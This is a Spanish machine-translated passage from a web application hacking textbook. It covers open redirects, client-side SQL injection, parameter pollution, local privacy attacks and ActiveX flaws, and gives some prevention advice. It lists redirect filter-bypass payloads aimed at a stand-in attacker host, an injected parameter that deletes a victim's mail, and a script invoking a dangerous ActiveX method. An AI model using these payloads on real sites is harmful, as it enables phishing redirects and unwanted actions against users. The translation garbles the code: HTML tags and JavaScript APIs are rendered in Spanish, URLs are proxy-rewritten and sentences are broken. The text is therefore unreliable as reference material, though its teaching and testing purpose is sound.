En los últimos años, las vulnerabilidades de redirección abierta se han utilizado de una manera
relativamente benigna para realizar ataques "rickrolling", en los que las víctimas son redirigidas sin darse
cuenta a un video de la leyenda del pop británico Rick Astley, como se ilustra en la Figura 13-5.
Figura 13-5: El resultado de un ataque de rickrolling

Búsqueda y explotación de vulnerabilidades de redirección abierta
El primer paso para localizar vulnerabilidades de redirección abiertas es identificar cada

instancia dentro de la aplicación donde ocurre una redirección. Una aplicación puede
hacer que el navegador del usuario redirija a una URL diferente de varias formas:
n Una redirección HTTP usa un mensaje con un código de estado 3xx y una ubicación
encabezado que especifica el destino de la redirección:
HTTP/1.1 302 Objeto movido

Ubicación: http://mdsec.net/updates/update29.html
n El encabezado HTTP Refresh se puede usar para recargar una página con un
URL después de un intervalo fijo, que puede ser 0 para activar una redirección inmediata:

Actualizar: 0; url=http://mdsec.net/updates/update29.html
n La etiqueta HTML <meta> se puede usar para replicar el comportamiento de cualquier HTTP
encabezado y, por lo tanto, se puede utilizar para la redirección:

<html>
<cabeza>
<meta http-equiv=”actualizar” contenido=
“0;url=http://mdsec.net/updates/update29.html”>
</cabeza>
</html>
n Existen varias API dentro de JavaScript que se pueden usar para redirigir el navegador a una
URL arbitraria:

<html>
<cabeza>
<script>
document.ubicación=”http://mdsec.net/updates/update29.html”;
</script>
</cabeza>
</html>
En cada uno de estos casos, se puede especificar una URL absoluta o relativa.
PASOS DE HACK
1. Identifique cada instancia dentro de la aplicación donde se produce una redirección.
2. Una forma efectiva de hacer esto es recorrer la aplicación utilizando un proxy de

interceptación y monitorear las solicitudes realizadas para las páginas reales (a
diferencia de otros recursos, como imágenes, hojas de estilo y archivos de secuencias de comandos).
3. Si una sola acción de navegación da como resultado más de una solicitud en

sucesión, investigue qué medios se están utilizando para realizar la redirección.
La mayoría de los redireccionamientos no son controlables por el usuario. Por ejemplo, en

un mecanismo de inicio de sesión típico, enviar credenciales válidas a /login.jsp podría devolver
una redirección HTTP a /myhome.jsp. El objetivo de la redirección es siempre el mismo, por lo
que no está sujeto a ninguna vulnerabilidad relacionada con la redirección.
Sin embargo, en otros casos, los datos proporcionados por el usuario se utilizan de alguna
manera para establecer el destino de la redirección. Una instancia común de esto es cuando
una aplicación obliga a los usuarios cuyas sesiones han expirado a regresar a la página de
inicio de sesión y luego los redirige a la URL original luego de una reautenticación exitosa.
Si encuentra este tipo de comportamiento, la aplicación puede ser vulnerable a un ataque de
redirección y debe investigar más a fondo para determinar si el comportamiento es explotable.
PASOS DE HACK
1. Si los datos del usuario que se procesan en una redirección contienen una URL absoluta,
modifique el nombre de dominio dentro de la URL y pruebe si la aplicación lo redirige
a un dominio diferente.
2. Si los datos de usuario que se procesan contienen una URL relativa, modifíquela en
una URL absoluta para un dominio diferente y pruebe si la aplicación lo redirige a
este dominio.
3. En ambos casos, si ve un comportamiento como el siguiente, la aplicación es certera.

tainly vulnerable a un ataque de redirección arbitraria:
OBTENER /actualizaciones/8/?redir=http://mdattacker.net/ HTTP/1.1
HTTP/1.1 302 Objeto movido

Ubicación: http://mdattacker.net/
¡INTENTALO!
NOTA Un fenómeno relacionado, que no es lo mismo que la redirección, ocurre

cuando una aplicación especifica la URL de destino para un marco utilizando
datos controlables por el usuario. Si puede construir una URL que haga que el
contenido de una URL externa se cargue en un marco secundario, puede realizar
un ataque de estilo de redirección bastante sigiloso. Puede reemplazar solo una
parte de la interfaz existente de una aplicación con contenido diferente y dejar el dominio de la dirección del na
barra sin modificar.
Es común encontrar situaciones en las que los datos controlables por el usuario
se utilizan para formar el objetivo de una redirección, pero la aplicación los filtra o
desinfecta de alguna manera, generalmente en un intento de bloquear los ataques
de redirección. En esta situación, la aplicación puede ser vulnerable o no, y su
siguiente tarea debe ser probar las defensas existentes para determinar si se
pueden eludir para realizar una redirección arbitraria. Los dos tipos generales de
defensas que puede encontrar son los intentos de bloquear las URL absolutas y la
adición de un prefijo de URL absoluto específico.
Bloqueo de direcciones URL

absolutas La aplicación puede verificar si la cadena proporcionada por el usuario comienza
con http:// y, de ser así, bloquear la solicitud. En esta situación, los siguientes trucos
pueden provocar una redirección a un sitio web externo (tenga en cuenta el espacio inicial
al comienzo de la tercera línea):
HtTp://mdattacker.net
%00http://mdattacker.net
http://mdattacker.net
//mdattacker.net
%68%74%74%70%3a%2f%2fmdattacker.net
%2568%2574%2574%2570%253a%252f%252fmdattacker.net
https://mdattacker.net
http:\\mdattacker.net
http:///mdattacker.net
Como alternativa, la aplicación puede intentar desinfectar las URL absolutas

eliminando http:// y cualquier dominio externo especificado. En esta situación, cualquiera de los
las omisiones anteriores pueden tener éxito y también se deben probar los siguientes
ataques:
http://http://mdattacker.net
http://mdattacker.net/http://mdattacker.net
hthttp://tp://mdattacker.net
A veces, la aplicación puede verificar que la cadena proporcionada por el usuario comience
o contenga una URL absoluta para su propio nombre de dominio. En esta situación, las
siguientes derivaciones pueden ser efectivas:
http://mdsec.net.mdattacker.net
http://mdattacker.net/?http://mdsec.net
http://mdattacker.net/%23http://mdsec.net
¡INTENTALO!
Adición de un prefijo absoluto
La aplicación puede formar el objetivo de la redirección agregando la cadena controlable por

el usuario a un prefijo de URL absoluto:
OBTENGA /actualizaciones/72/?redir=/actualizaciones/actualización29.html HTTP/1.1
HTTP/1.1 302 Objeto movido Ubicación:

http://mdsec.net/updates/update29.html
En esta situación, la aplicación puede o no ser vulnerable. Si el prefijo utilizado

consta de http:// y el nombre de dominio de la aplicación, pero no incluye una
barra inclinada después del nombre de dominio, es vulnerable. Por ejemplo, la URL:
http://mdsec.net/updates/72/?redir=.mdattacker.net
provoca una redirección a:
http://mdsec.net.mdattacker.net
Esta URL está bajo el control del atacante, suponiendo que controle los registros DNS del
dominio mdattacker.net.
Sin embargo, si el prefijo de URL absoluto incluye una barra inclinada al final o un
subdirectorio en el servidor, es probable que la aplicación no sea vulnerable a un ataque de redirección.
dirigido a un dominio externo. Probablemente, lo mejor que puede lograr un atacante es

enmarcar una URL que redirige a un usuario a una URL diferente dentro de la misma
aplicación . Este ataque normalmente no logra nada, porque si el atacante puede inducir a
un usuario a visitar una URL dentro de la aplicación, presumiblemente puede enviar la
segunda URL directamente al usuario con la misma facilidad.
¡INTENTALO!
En los casos en los que la redirección se inicia mediante JavaScript del lado del cliente
que consulta datos del DOM, todo el código responsable de realizar la redirección y cualquier
validación asociada normalmente están visibles en el cliente. Debe revisar esto detenidamente
para determinar cómo se incorporan los datos controlables por el usuario en la URL, si se
está realizando alguna validación y, de ser así, si existe alguna omisión a la validación.
Tenga en cuenta que, al igual que con XSS basado en DOM, es posible que se realice
alguna validación adicional en el servidor antes de que la secuencia de comandos se
devuelva al navegador. Las siguientes API de JavaScript se pueden usar para realizar redireccionamientos:
n documento.ubicación
n documento.URL
n documento.open()
n ventana.ubicación.href
n ventana.navegar()
n ventana.abrir()
¡INTENTALO!
Prevención de vulnerabilidades de redirección abierta

La forma más eficaz de evitar vulnerabilidades de redirección abierta es no incorporar datos
proporcionados por el usuario en el destino de una redirección. Los desarrolladores se
inclinan a utilizar esta técnica por varias razones, pero normalmente hay alternativas disponibles.
Por ejemplo, es común ver una interfaz de usuario que contiene una lista de enlaces,
cada uno apunta a una página de redirección y pasa una URL de destino como parámetro.
Aquí, los posibles enfoques alternativos incluyen lo siguiente:
n Elimine la página de redirección de la aplicación y reemplace los enlaces a ella con enlaces directos
a las URL de destino relevantes.
n Mantenga una lista de todas las URL válidas para la redirección. En lugar de pasar la URL de destino
como parámetro a la página de redireccionamiento, pase un índice a esta lista. La página de
redirección debe buscar el índice en su lista y devolver una redirección a la URL relevante.
Si se considera inevitable que la página de redirección reciba una entrada controlable por el usuario y
la incorpore al objetivo de redirección, se debe utilizar una de las siguientes medidas para minimizar el
riesgo de ataques de redirección:
n La aplicación debe usar URL relativas en todos sus redireccionamientos, y la página de

redireccionamiento debe validar estrictamente que la URL recibida es una URL relativa.
Debe verificar que la URL proporcionada por el usuario comience con una sola
barra inclinada seguida de una letra o comience con una letra y no contenga dos
puntos antes de la primera barra inclinada. Cualquier otra entrada debe ser
rechazada, no desinfectada.
n La aplicación debe usar direcciones URL relativas a la raíz web para todos sus redireccionamientos,
y la página de redireccionamiento debe anteponer http://sunombrededominio.com a todas las URL
proporcionadas por el usuario antes de emitir el redireccionamiento. Si la URL proporcionada por el
usuario no comienza con una barra inclinada, en su lugar debe anteponerse http://
yourdomainname.com/.
n La aplicación debe usar direcciones URL absolutas para todos los redireccionamientos, y la página
de redireccionamiento debe verificar que la URL proporcionada por el usuario comience con http://
sunombrededominio.com/ antes de emitir el redireccionamiento. Cualquier otra entrada debe ser
rechazada.
Al igual que con las vulnerabilidades XSS basadas en DOM, se recomienda que las aplicaciones no
realicen redireccionamientos a través de secuencias de comandos del lado del cliente sobre la base de
datos DOM, ya que estos datos están fuera del control directo del servidor.
Inyección SQL del lado del cliente
HTML5 admite bases de datos SQL del lado del cliente, que las aplicaciones pueden usar para
almacenar datos en el cliente. Se accede a ellos usando JavaScript, como en el siguiente ejemplo:
var db = openDatabase('contactsdb', '1.0', 'WahhMail contactos', 1000000); db.transacción(función (tx) {
tx.executeSql('CREATE TABLE SI NO EXISTE contactos (id único, nombre, correo electrónico)');

tx.executeSql('INSERTAR EN contactos (id, nombre, correo electrónico) VALORES (1, "Mateo
Adamson”, “[email protected]”)');
});
Esta funcionalidad permite que las aplicaciones almacenen datos de uso común en el lado
del cliente y los recuperen rápidamente en la interfaz de usuario cuando sea necesario. También
permite que las aplicaciones funcionen en "modo fuera de línea", en el que todos los datos
procesados por la aplicación residen en el cliente y las acciones del usuario se almacenan en
el cliente para su posterior sincronización con el servidor, cuando hay una conexión de red disponible.
El Capítulo 9 describió cómo pueden surgir ataques de inyección SQL en bases de datos SQL del lado del servidor , donde
los datos controlados por el atacante se insertan en una consulta SQL de una manera no segura. Exactamente el mismo
ataque puede surgir en el lado del cliente. Aquí hay algunos escenarios en los que esto puede ser posible:
n Aplicaciones de redes sociales que almacenan detalles de los contactos del usuario en la base
de datos local, incluidos nombres de contactos y actualizaciones de estado . n Aplicaciones de
noticias que almacenan artículos y comentarios de usuarios en la base de datos local .

base de datos para visualización sin conexión
n Aplicaciones de correo web que almacenan mensajes de correo electrónico en la base de datos local y, cuando se
ejecutan en modo fuera de línea, almacenan mensajes salientes para enviarlos más tarde.
En estas situaciones, un atacante puede realizar ataques de inyección SQL del lado del cliente al incluir entradas
manipuladas en una parte de los datos que controla, que la aplicación almacena localmente. Por ejemplo, enviar un correo
electrónico que contenga un ataque de inyección SQL en la línea de asunto podría comprometer la base de datos local del
usuario destinatario, si estos datos están incrustados en una consulta SQL del lado del cliente. Dependiendo exactamente de
cómo la aplicación utilice la base de datos local, es posible que se produzcan ataques graves. Usando solo inyección SQL, un
atacante puede recuperar de la base de datos el contenido de otros mensajes que el usuario ha recibido, copiar estos datos
en un nuevo correo electrónico saliente para el atacante y agregar este correo electrónico a la tabla de mensajes en cola .
mensajes salientes.
Es probable que los tipos de datos que a menudo se almacenan en las bases de datos del lado
del cliente incluyan metacaracteres SQL, como las comillas simples. Por lo tanto, es probable que
se identifiquen muchas vulnerabilidades de inyección SQL durante las pruebas normales de
usabilidad , por lo que es posible que existan defensas contra los ataques de inyección SQL. Al
igual que con la inyección del lado del servidor, estas defensas pueden contener varias derivaciones
que se pueden usar para seguir lanzando un ataque exitoso.
Contaminación de parámetros HTTP del lado del cliente
El Capítulo 9 describió cómo los ataques de contaminación de parámetros HTTP se pueden usar en algunas situaciones para
interferir con la lógica de la aplicación del lado del servidor. En algunas situaciones, estos ataques también pueden ser posibles
en el lado del cliente.
Supongamos que una aplicación de correo web carga la bandeja de entrada utilizando la siguiente URL:
https://wahh-mail.com/show?folder=inbox&order=down&size=20&start=1
Dentro de la bandeja de entrada, se muestran varios enlaces junto a cada mensaje para
realizar acciones como eliminar, reenviar y responder. Por ejemplo, el enlace para responder
al mensaje número 12 es el siguiente:
<a href=”doaction?folder=inbox&order=down&size=20&start=1&message=12&action=
responder&rnd=1935612936174”>responder</a>
Varios parámetros dentro de estos enlaces se están copiando de los parámetros en la URL de la
bandeja de entrada. Incluso si la aplicación se defiende sólidamente contra los ataques XSS, es
posible que un atacante construya una URL que muestre la bandeja de entrada con diferentes
valores reflejados dentro de estos enlaces. Por ejemplo, el atacante puede proporcionar un parámetro
como este:
inicio=1%26acción=eliminar
Este contiene un carácter & codificado en URL que el servidor de aplicaciones

decodificará automáticamente. El valor del parámetro de inicio que se pasa a la
aplicación es el siguiente:
1&acción=eliminar
Si la aplicación acepta este valor no válido y aún muestra la bandeja de entrada, y si repite el
valor sin modificarlo, el enlace para responder al mensaje número 12 se convierte en este:
<a href=”doaction?folder=inbox&order=down&size=20&start=1&action=delete&
mensaje=12&acción=respuesta&rnd=1935612936174”>responder</a>
Este enlace ahora contiene dos parámetros de acción: uno que especifica la eliminación y otro
que especifica la respuesta. Al igual que con la contaminación de parámetros HTTP estándar, el
comportamiento de la aplicación cuando el usuario hace clic en el enlace "responder" depende de
cómo maneja el parámetro duplicado. En muchos casos, se utiliza el primer valor, por lo que el
usuario es inducido involuntariamente a eliminar todos los mensajes a los que intenta responder.
En este ejemplo, tenga en cuenta que los enlaces para realizar acciones contienen
un parámetro rnd , que de hecho es un token anti-CSRF, lo que evita que un atacante
induzca fácilmente estas acciones a través de un ataque CSRF estándar. Dado que el
ataque HPP del lado del cliente se inyecta en los enlaces existentes construidos por la
aplicación, los tokens anti-CSRF se manejan de manera normal y no previenen el ataque.
En la mayoría de las aplicaciones de correo web del mundo real, es probable que existan muchas
más acciones que pueden explotarse, incluida la eliminación de todos los mensajes, el reenvío de
mensajes individuales y la creación de reglas generales de reenvío de correo. Dependiendo de cómo
se implementen estas acciones, es posible inyectar varios parámetros requeridos en los enlaces, e
incluso explotar las funciones de redirección en el sitio, para inducir al usuario a realizar acciones
complejas que normalmente están protegidas por defensas anti-CSRF. Además, es posible utilizar
múltiples niveles de codificación de URL para inyectar varios ataques en una sola URL. Así, por
ejemplo, una acción
se realiza cuando el usuario intenta leer un mensaje y se realiza otra acción cuando el usuario intenta volver a la
bandeja de entrada.
Ataques de privacidad locales
Muchos usuarios acceden a aplicaciones web desde un entorno compartido en el que un atacante puede tener
acceso directo a la misma computadora que el usuario. Esto da lugar a una serie de ataques a los que las
aplicaciones inseguras pueden dejar vulnerables a sus usuarios. Este tipo de ataque puede surgir en varias
áreas.
NOTA Existen numerosos mecanismos mediante los cuales las aplicaciones pueden
almacenar datos potencialmente confidenciales en las computadoras de los usuarios.
En muchos casos, para probar si esto se está haciendo, es preferible comenzar con un
navegador completamente limpio para que los datos almacenados por la aplicación que
se está probando no se pierdan entre el ruido de los datos almacenados existentes. Una
forma ideal de hacer esto es usar una máquina virtual con una instalación limpia tanto del
sistema operativo como de cualquier navegador.
Además, en algunos sistemas operativos, las carpetas y los archivos que contienen datos
almacenados localmente pueden estar ocultos de forma predeterminada cuando se utiliza el
explorador del sistema de archivos integrado. Para asegurarse de que se identifican todos los
datos relevantes, debe configurar su computadora para mostrar todos los archivos ocultos y del sistema operativo.
Cookies persistentes
Algunas aplicaciones almacenan datos confidenciales en una cookie persistente, que la mayoría de los
navegadores guardan en el sistema de archivos local.
PASOS DE HACK
1. Revise todas las cookies identificadas durante el ejercicio de mapeo de su aplicación

cisas (ver Capítulo 4). Si cualquier instrucción Set-cookie contiene un atributo de expiración
con una fecha futura, esto hará que el navegador conserve esa cookie hasta esa fecha. Por
ejemplo:
UID=d475dfc6eccca72d0e caduca=viernes, 10-ago-18 16:08:29 GMT;
2. Si se establece una cookie persistente que contiene datos confidenciales, un local

el atacante puede ser capaz de capturar estos datos. Incluso si una cookie persistente
contiene un valor encriptado, si esto juega un papel crítico, como volver a autenticar al
usuario sin ingresar las credenciales, un atacante que lo capture puede volver a enviarlo
a la aplicación sin descifrar realmente su contenido (consulte el Capítulo 6).
¡INTENTALO!
Contenido web en caché

La mayoría de los navegadores almacenan en caché el contenido web que no es SSL, a menos que un sitio web les indique
específicamente que no lo hagan. Los datos almacenados en caché normalmente se almacenan en el sistema de archivos local.
PASOS DE HACK
1. Para cualquier página de aplicación a la que se acceda a través de HTTP y que contenga
datos confidenciales, revise los detalles de la respuesta del servidor para identificar las
directivas de caché.
2. Las siguientes directivas evitan que los navegadores almacenen en caché una página. Tenga en
cuenta que estos pueden especificarse dentro de los encabezados de respuesta HTTP o dentro
de las metaetiquetas HTML:
Caduca: 0
Pragma: sin caché
3. Si no se encuentran estas directivas, la página en cuestión puede ser vulnerable a

almacenamiento en caché por uno o más navegadores. Tenga en cuenta que las directivas de caché
se procesan por página, por lo que es necesario verificar todas las páginas confidenciales basadas en HTTP.
4. Para verificar que la información confidencial se almacena en caché, use una instalación
predeterminada de un navegador estándar, como Internet Explorer o Firefox. En la
configuración del navegador, limpie completamente su caché y todas las cookies, y
luego acceda a las páginas de la aplicación que contienen datos sensibles. Revise los
archivos que aparecen en el caché para ver si alguno contiene datos confidenciales. Si se
genera una gran cantidad de archivos, puede tomar una cadena específica de la fuente de
una página y buscar esa cadena en el caché.
Estas son las ubicaciones de caché predeterminadas para navegadores comunes:
n Internet Explorer: subdirectorios de C:\Documentos y configuración\ nombre de

usuario\Configuración local\Archivos temporales de Internet\
Contenido.IE5
Tenga en cuenta que en el Explorador de Windows, para ver esta carpeta, debe ingresar
esta ruta exacta y mostrar las carpetas ocultas, o buscar la carpeta que se acaba de
enumerar desde la línea de comando.
n Firefox (en Windows): C:\Documentos y configuración\nombre de usuario\

Configuración local\Datos de aplicación\Mozilla\Firefox\
Perfiles\nombre de perfil\Caché
n Firefox (en Linux): ~/.mozilla/firefox/nombre de perfil/Caché

¡INTENTALO!
Historial de navegación
La mayoría de los navegadores guardan un historial de navegación, que puede incluir datos
confidenciales transmitidos en parámetros de URL.
PASOS DE HACK
1. Identifique cualquier instancia dentro de la aplicación en la que se

se transmite a través de un parámetro de URL.
2. Si existe algún caso, examine el historial del navegador para verificar que estos datos
sido almacenado allí.
¡INTENTALO!
Autocompletar Muchos
navegadores implementan una función de autocompletar configurable por el usuario para los campos
de entrada basados en texto, que pueden almacenar datos confidenciales, como números de tarjetas
de crédito, nombres de usuario y contraseñas. Internet Explorer almacena datos de autocompletado
en el registro y Firefox los almacena en el sistema de archivos.
Como ya se describió, además de ser accesible para los atacantes locales, los datos en el
caché de autocompletar se pueden recuperar a través de un ataque XSS en ciertas circunstancias.
PASOS DE HACK
1. Revise el código fuente HTML de cualquier formulario que contenga campos de

texto en los que se capturen datos confidenciales.
2. Si el atributo autocompletar=desactivado no está configurado, dentro del formulario

etiqueta o la etiqueta para el campo de entrada individual, los datos ingresados se almacenan
dentro de los navegadores donde está habilitado el autocompletado.
¡INTENTALO!
Objetos compartidos locales de Flash
La extensión del navegador Flash implementa su propio mecanismo de almacenamiento local

denominado Objetos compartidos locales (LSO), también denominados cookies Flash. A diferencia
de la mayoría de los otros mecanismos, los datos que se conservan en los LSO se comparten entre
diferentes tipos de navegadores, siempre que tengan instalada la extensión Flash.
PASOS DE HACK
1. Hay varios complementos disponibles para Firefox, como BetterPrivacy, que se pueden
usar para explorar los datos de LSO creados por aplicaciones individuales.
2. Puede revisar el contenido de los datos LSO sin procesar directamente en el disco. Él
La ubicación de estos datos depende del navegador y del sistema operativo. Por
ejemplo, en versiones recientes de Internet Explorer, los datos de LSO residen dentro
de la siguiente estructura de carpetas:
C:\Usuarios\{nombre de usuario}\AppData\Roaming\Macromedia\Flash Player\

#SharedObjects\{random}\{nombre de dominio}\{nombre de la tienda}\{nombre de
archivo SWF}
¡INTENTALO!
Almacenamiento aislado Silverlight
La extensión del navegador Silverlight implementa su propio mecanismo de almacenamiento

local llamado Silverlight Isolated Storage.
PASOS DE HACK
Puede revisar el contenido de los datos de almacenamiento aislado de Silverlight sin

procesar directamente en el disco. Para las versiones recientes de Internet Explorer, estos
datos residen dentro de una serie de carpetas profundamente anidadas y con nombres
aleatorios en la siguiente ubicación:
C:\Usuarios\{nombre de usuario}\AppData\LocalLow\Microsoft\Silverlight\
¡INTENTALO!
Datos de usuario de Internet Explorer
Internet Explorer implementa su propio mecanismo de almacenamiento local personalizado

llamado userData.
PASOS DE HACK
Puede revisar el contenido de los datos sin procesar almacenados en los datos de usuario de
IE directamente en el disco. Para versiones recientes de Internet Explorer, estos datos residen
dentro de la siguiente estructura de carpetas:
C:\Usuarios\usuario\AppData\Roaming\Microsoft\Internet Explorer\
UserData\Low\{aleatorio}
¡INTENTALO!
Mecanismos de almacenamiento local de HTML5
HTML5 está introduciendo una gama de nuevos mecanismos de almacenamiento local, que incluyen:
n Almacenamiento de sesión
n Almacenamiento local n
Almacenamiento de base de datos
Las especificaciones y el uso de estos mecanismos todavía están evolucionando. No están

completamente implementados en todos los navegadores, y es probable que los detalles sobre cómo
probar su uso y revisar los datos persistentes dependan del navegador.
Prevención de ataques a la privacidad local
Las aplicaciones deben evitar almacenar cualquier cosa confidencial en una cookie persistente.
Incluso si estos datos están encriptados, un atacante puede volver a enviarlos para capturarlos.
Las aplicaciones deben usar directivas de caché adecuadas para evitar que los navegadores
almacenen datos confidenciales. En las aplicaciones ASP, las siguientes instrucciones hacen que el
servidor incluya las directivas requeridas:
<% Response.CacheControl = “sin caché” %> <%

Response.AddHeader “Pragma”, “sin caché” %> <% Response.Expires
= 0 %>
En las aplicaciones Java, los siguientes comandos deberían lograr el mismo resultado:
<%
respuesta.setHeader(“Cache-Control”,”no-cache”);
respuesta.setHeader(“Pragma”,”sin caché”);
respuesta.setDateHeader ("Caduca", 0);
%>
Las aplicaciones nunca deben usar direcciones URL para transmitir datos confidenciales, ya que es
probable que se registren en numerosas ubicaciones. Todos estos datos deben transmitirse mediante
formularios HTML que se envían mediante el método POST .
En cualquier instancia en la que los usuarios ingresen datos confidenciales en los campos de entrada de
texto, el atributo autocompletar=desactivado debe especificarse dentro del formulario o la etiqueta del campo.
Otros mecanismos de almacenamiento del lado del cliente, como las nuevas funciones que se están
introduciendo con HTML5, brindan una oportunidad para que las aplicaciones implementen funciones valiosas,
incluido un acceso mucho más rápido a los datos específicos del usuario y la capacidad de seguir trabajando
cuando el acceso a la red no está disponible. disponible. En los casos en que los datos confidenciales deban
almacenarse localmente, lo ideal sería cifrarlos para evitar el fácil acceso directo por parte de un atacante.
Además, se debe informar a los usuarios sobre la naturaleza de los datos que se almacenan localmente,
advertirles sobre los riesgos del acceso local por parte de un atacante y permitirles optar por no participar en
esta función si así lo desean.
Atacar controles ActiveX

El Capítulo 5 describió cómo las aplicaciones pueden usar varias tecnologías de cliente grueso para distribuir
parte del procesamiento de la aplicación al lado del cliente. Los controles ActiveX son de particular interés
para un atacante que tiene como objetivo a otros usuarios. Cuando una aplicación instala un control para
invocarlo desde sus propias páginas, el control debe registrarse como "seguro para secuencias de comandos".
Después de que esto ocurra, cualquier otro sitio web al que acceda el usuario puede usar ese control.
Los navegadores no aceptan cualquier control ActiveX que un sitio web les pida que instalen. Por defecto,
cuando un sitio web busca instalar un control, el navegador presenta una advertencia de seguridad y pide
permiso al usuario. El usuario puede decidir si confía en el sitio web que emite el control y permitir que se
instale en consecuencia. Sin embargo, si lo hace, y el control contiene vulnerabilidades, estas pueden ser
explotadas por cualquier sitio web malicioso que visite el usuario.
Dos categorías principales de vulnerabilidad que se encuentran comúnmente dentro de los controles
ActiveX son de interés para un atacante:
n Debido a que los controles ActiveX generalmente están escritos en lenguajes nativos como C/C++,
están en riesgo de vulnerabilidades de software clásicas como desbordamientos de búfer, errores de
enteros y fallas de cadenas de formato (consulte el Capítulo 16 para obtener más detalles). En los
últimos años, un gran número de estas vulnerabilidades
han sido identificados dentro de los controles ActiveX emitidos por aplicaciones web
populares, como sitios de juegos en línea. Estas vulnerabilidades normalmente se
pueden explotar para provocar la ejecución de código arbitrario en la computadora del
usuario víctima.
n Muchos controles ActiveX contienen métodos que son inherentemente peligrosos

y vulnerable al mal uso:
n LaunchExe(BSTR ExeName)
n Guardar archivo (nombre de archivo BSTR, URL BSTR)
n LoadLibrary (ruta de biblioteca BSTR)
n Ejecutar comando (comando BSTR)
Por lo general, los desarrolladores implementan métodos como estos para generar
cierta flexibilidad en su control, lo que les permite ampliar su funcionalidad en el futuro
sin necesidad de implementar un nuevo control. Sin embargo, después de instalar el
control , por supuesto, puede ser "ampliado" de la misma manera por cualquier sitio
web malicioso para llevar a cabo acciones no deseadas contra el usuario.
Encontrar vulnerabilidades de ActiveX

Cuando una aplicación instala un control ActiveX, además de la alerta del navegador que
solicita su permiso para instalarlo, debería ver un código similar al siguiente dentro del código
fuente HTML de la página de una aplicación:
<objeto id=”oMiObjeto”
identificación de clase = "CLSID: A61BC839-5188-4AE9-76AF-109016FD8901"
codebase=”https://wahh-app.com/bin/myobject.cab”> </object>
Este código le dice al navegador que cree una instancia de un control ActiveX con el
nombre y el classid especificados y que descargue el control desde la URL especificada. Si
ya hay un control instalado, no se requiere el parámetro de base de código y el navegador
ubica el control desde la computadora local, según su classid único.
Si un usuario da permiso para instalar el control, el navegador lo registra como "seguro
para secuencias de comandos". Esto significa que cualquier sitio web puede crear instancias
de él y sus métodos invocarlos en el futuro. Para verificar con certeza que esto se ha hecho,
puede verificar la clave de registro HKEY_CLASSES_ROOT\CLSID\classid de control tomada
desde arriba HTML\Categorías implementadas. Si la subclave 7DD95801-9882-11CF
-9FA9-00AA006C42C4 está presente, el control se ha registrado como "seguro para
secuencias de comandos", como se muestra en la Figura 13-6.
Figura 13-6: Un control registrado como seguro para secuencias de comandos
Cuando el navegador ha instanciado un control ActiveX, los métodos individuales

se puede invocar de la siguiente manera:
<script>
document.oMyObject.LaunchExe('myAppDemo.exe'); </script>
PASOS DE HACK
Una forma sencilla de sondear las vulnerabilidades de ActiveX es modificar el HTML que
invoca el control, pasarle sus propios parámetros y monitorear los resultados:
1. Las vulnerabilidades, como los desbordamientos de búfer, pueden probarse utilizando

el mismo tipo de cargas útiles de ataque descritas en el Capítulo 16. Es probable que
la activación de errores de este tipo de forma no controlada provoque un bloqueo del
proceso del navegador que aloja el control.
2. Los métodos inherentemente peligrosos como LaunchExe a menudo se pueden identificar

simplemente por su nombre. En otros casos, el nombre puede ser inocuo u ofuscado,
pero puede estar claro que elementos interesantes como nombres de archivo,
direcciones URL o comandos del sistema se pasan como parámetros. Debe intentar
modificar estos parámetros a valores arbitrarios y determinar si el control procesa su
entrada como se esperaba.
Es común encontrar que no todos los métodos implementados por un control son realmente
invocados en cualquier lugar dentro de la aplicación. Por ejemplo, los métodos pueden haberse
implementado con fines de prueba, pueden haber sido reemplazados pero no eliminados, o
pueden existir para uso futuro o con fines de actualización automática. Para realizar una prueba
exhaustiva de un control, es necesario enumerar toda la superficie de ataque que expone a
través de estos métodos y probarlos todos.
Existen varias herramientas para enumerar y probar los métodos expuestos por los
controles ActiveX. Una herramienta útil es COMRaider de iDefense, que puede mostrar
todos los métodos de control y realizar pruebas de fuzz básicas de cada uno, como se
Figura 13-7: COMRaider mostrando los métodos de un control ActiveX
Prevención de vulnerabilidades de ActiveX

La defensa de los componentes de software compilados nativos contra ataques es un tema
amplio y complejo que está fuera del alcance de este libro. Básicamente, los diseñadores y
desarrolladores de un control ActiveX deben asegurarse de que los métodos que implementa no
puedan ser invocados por un sitio web malicioso para realizar acciones no deseadas contra un
usuario que lo haya instalado. Por ejemplo:
n Se debe realizar una revisión del código fuente centrada en la seguridad y una prueba de
penetración en el control para localizar vulnerabilidades como desbordamientos de búfer.
n El control no debe exponer ningún método intrínsecamente peligroso que llame al

sistema de archivos o al sistema operativo utilizando controles controlables por el usuario.
aporte. Por lo general, hay alternativas más seguras disponibles con un esfuerzo adicional mínimo.
Por ejemplo, si se considera necesario lanzar procesos externos, compilar una lista de todos los
procesos externos que se pueden lanzar de forma legítima y segura. Luego, cree un método
separado para llamar a cada uno o use un solo método que incluya un número de índice en esta
lista.
Como precaución adicional de defensa en profundidad, algunos controles ActiveX validan el nombre de
dominio que emitió la página HTML desde la que se invocan. La plantilla SiteLock Active Template Library
de Microsoft permite a los desarrolladores restringir el uso de un control ActiveX a una lista específica de
nombres de dominio.
Algunos controles van más allá al requerir que todos los parámetros
pasados al control estén firmados criptográficamente. Si la firma pasada no
es válida, el control no realiza la acción solicitada. Debe tener en cuenta
que algunas defensas de este tipo pueden eludirse si el sitio web al que se
le permite invocar el control contiene vulnerabilidades XSS.
Atacar al navegador
Los ataques descritos hasta ahora en este capítulo y en el anterior involucran la explotación de alguna
característica del comportamiento de una aplicación para comprometer a los usuarios de la aplicación.
Ataques como secuencias de comandos entre sitios, falsificación de solicitudes entre sitios y secuestro de
JavaScript surgen de vulnerabilidades dentro de aplicaciones web específicas, aunque los detalles de
algunas técnicas de explotación pueden aprovechar las peculiaridades de navegadores específicos.
Otra categoría de ataques contra usuarios no depende del comportamiento de aplicaciones específicas.
Más bien, estos ataques se basan únicamente en las características del comportamiento del navegador o
en el diseño de las propias tecnologías web centrales . Estos ataques pueden ser entregados por cualquier
sitio web malicioso o por cualquier sitio benigno que se haya visto comprometido. Como tales, se
encuentran al borde del alcance de un libro sobre piratería de aplicaciones web. Sin embargo, merecen
una breve consideración en parte porque comparten algunas características con ataques que explotan
